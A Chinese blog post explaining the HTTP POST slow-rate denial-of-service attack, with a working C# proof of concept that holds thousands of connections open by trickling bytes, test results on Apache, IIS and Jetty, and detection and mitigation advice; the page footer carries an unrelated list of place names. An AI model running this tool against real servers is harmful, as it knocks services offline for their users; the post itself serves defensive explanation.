JAVA—咖啡館

          ——歡迎訪問rogerfan的博客,常來《JAVA——咖啡館》坐坐,喝杯濃香的咖啡,彼此探討一下JAVA技術,交流工作經(jīng)驗,分享JAVA帶來的快樂!本網(wǎng)站部分轉載文章,如果有版權問題請與我聯(lián)系。

          BlogJava 首頁 新隨筆 聯(lián)系 聚合 管理
            447 Posts :: 145 Stories :: 368 Comments :: 0 Trackbacks

          公告

           

          Locations of visitors to this page
          點擊這里給我發(fā)消息 點擊這里給我發(fā)消息

          常用鏈接

          留言簿(17)

          隨筆分類(542)

          隨筆檔案(438)

          文章分類(182)

          文章檔案(142)

          新聞分類

          ※→ 【JAVA文檔】

          ※→ 【親人博客】

          ※→ 【休閑娛樂】

          ※→ 【友情鏈接】

          ※→ 【學習網(wǎng)站】

          ※→ 【服務網(wǎng)站】

          ※→ 【著名網(wǎng)站】

          ※→ 【阿里博客】

          最新隨筆

          搜索

          積分與排名

          最新評論

          閱讀排行榜

          評論排行榜

          1. 關于HTTP POST慢速DOS攻擊

          HTTP Post慢速DOS攻擊第一次在技術社區(qū)被正式披露是今年的OWASP大會上,由Wong Onn Chee 和 Tom Brennan共同演示了使用這一技術攻擊的威力。他們的slides在這里:

          http://www.darkreading.com/galleries/security/application-security/228400167/slide-show-ddos-with-the-slow-http-post-attack.html

          這個攻擊的基本原理如下:

          針對任意HTTP Server,建立一個連接,指定一個比較大的content-length,然后以很低的速度發(fā)包,比如10-100s發(fā)一個字節(jié),hold住這個連接不斷開。如果客戶端持續(xù)建立這樣的連接,那么服務器上可用的連接將很快被占滿,從而導致DOS.

          這一攻擊引起我注意的原因有這幾點:

          1. 它可以針對任意Web服務。HTTP協(xié)議在接收到request之前是無法對請求內容作校驗的,所以即使你的Web應用沒有可用form表單,這個攻擊一樣有效。

          2. 廉價。在客戶端以單線程方式建立較大數(shù)量的無用連接,并保持持續(xù)發(fā)包的代價非常低廉。實際試驗中一臺普通PC可以建立的Socket連接在3000個以上。這對一臺普通的web server,將是致命的打擊。更不用說結合肉雞群做分布式DOS了。

          2. 攻擊示范

          為演示這個攻擊,我做了一個簡單的POC,C#代碼如下。


           1using System;
           2using System.Collections.Generic;
           3using System.Text;
           4using System.Net.Sockets;
           5using System.Threading;
           6
           7namespace HTTPPostDoS
           8{
           9    class TestDemo
          10    {
          11        static void Main(string[] args)
          12        {
          13            string host = "target";
          14            int port = 8080;
          15            int max_number_of_connection = 3000;
          16            List<TcpClient> clients = new List<TcpClient>();
          17
          18            for (int i = 0; i < max_number_of_connection; i++)
          19            {
          20                TcpClient client = new TcpClient();
          21                clients.Add(client);
          22                client.Connect(host, port);
          23
          24                if (client.Connected)
          25                {
          26                    string header = "POST /a HTTP/1.1\r\n" +
          27                                    "HOST: " + host + "\r\n" +
          28                                    "Connection: keep-alive\r\n" +
          29                                    "Keep-Alive: 900\r\n" +
          30                                    "Content-Length: 100000000\r\n" +
          31                                    "Content_Type: application/x-www-form-urlencoded\r\n" +
          32                                    "Accept: *.*\r\n";
          33                    int sent = client.Client.Send(System.Text.Encoding.Default.GetBytes(header));
          34                    if (sent <= 0)
          35                    {
          36                        Console.WriteLine("Error while connecting to server");
          37                    }

          38                    else
          39                    {
          40                        Console.WriteLine("Connected");
          41                    }

          42                }

          43            }

          44
          45            while (true)
          46            {
          47                int i = 0;
          48                foreach (TcpClient client in clients)
          49                {
          50                    i++;
          51                    client.Client.Send(System.Text.Encoding.Default.GetBytes("a"));
          52                    Console.WriteLine("Client " + i + " just sent a byte.");
          53                }

          54                Thread.Sleep(1000);
          55            }

          56        }

          57    }

          58}

          這段代碼向目標服務器的示例Web Server發(fā)起攻擊,每秒鐘向服務器post一個字節(jié)以保證連接不會過期。

          這個攻擊對Apache的效果十分明顯,Apache的maxClients幾乎在瞬間被hold住,瀏覽器在攻擊進行期間無法訪問測試頁面。

          但是針對IIS的攻擊被證明沒有效果,同時我還測試了公司使用最多的Jetty,有了更多有意思的發(fā)現(xiàn)。

          3. Jetty Server 在NIO和BIO模式下對此攻擊的不同反應

          在針對Jetty做測試時,我發(fā)現(xiàn)針對不同的Jetty Connector配置,攻擊的效果有天壤之別。

          我們知道Jetty在配置Connector時,可以有NIO和BIO兩種模式供選擇。當使用BIO模式時,Jetty的max thread被瞬間耗盡,服務停止。但是在使用NIO模式時,即使客戶端的惡意socket連接數(shù)已經(jīng)達到3000個,但是服務依然沒有受到任何影響。這個應該很好理解,由于這兩種模式下的Connector直接影響到服務端處理Socket的模型。IIS的情況我不是很清楚,但是猜測MS在實現(xiàn)時采用了NIO Socket模型。

          詳細的配置情況,請參見Jetty的官方文檔

          其它的Web Server,我沒有做進一步測試。如有興趣請自行驗證。

          4. 檢測與防范

          目前針對Apache服務器,官方尚沒有解決方案出臺。建議:

          1. 檢查日志,查找類似的錯誤報警:

          [error] server reached MaxClients setting, consider raising the MaxClients setting

          看看有沒有被這種攻擊盯上。

          2. 調整防火墻設置。有條件的,在IPS上做一下規(guī)則設置。

          注意這些都還只是暫時措施,因為這種攻擊的變化可能很多,事實上使用HTTP GET也可以達到一樣的效果。要知道GET也是可以傳輸數(shù)據(jù)的。

          針對Jetty服務器,強烈建議使用NIO非阻塞模式,對服務器可以起到很好的保護作用。

          相關閱讀:

          1. New HTTP POST DDoS Attack Tools Released

          2. Wong Onn Chee 和Tom Brennan的Paper

          3. Using HTTP POST for denial of service

           

          補充1:微軟的IIS實現(xiàn)了完成端口(IOCP),IO效率相當高。這解釋了為何此攻擊對IIS無效。


          posted on 2013-08-01 08:50 rogerfan 閱讀(2271) 評論(0)  編輯  收藏

          只有注冊用戶登錄后才能發(fā)表評論。


          網(wǎng)站導航:
           
          主站蜘蛛池模板: 江源县| 津市市| 大城县| 晋江市| 临汾市| 玉屏| 六枝特区| 光山县| 成都市| 土默特左旗| 米脂县| 牟定县| 兴和县| 寿阳县| 疏勒县| 介休市| 兰西县| 饶阳县| 新龙县| 阳东县| 秭归县| 青冈县| 博湖县| 寻甸| 资兴市| 延寿县| 凤翔县| 桑植县| 荃湾区| 罗甸县| 安徽省| 镇坪县| 光山县| 英吉沙县| 自贡市| 囊谦县| 左云县| 诸城市| 周口市| 京山县| 禹州市|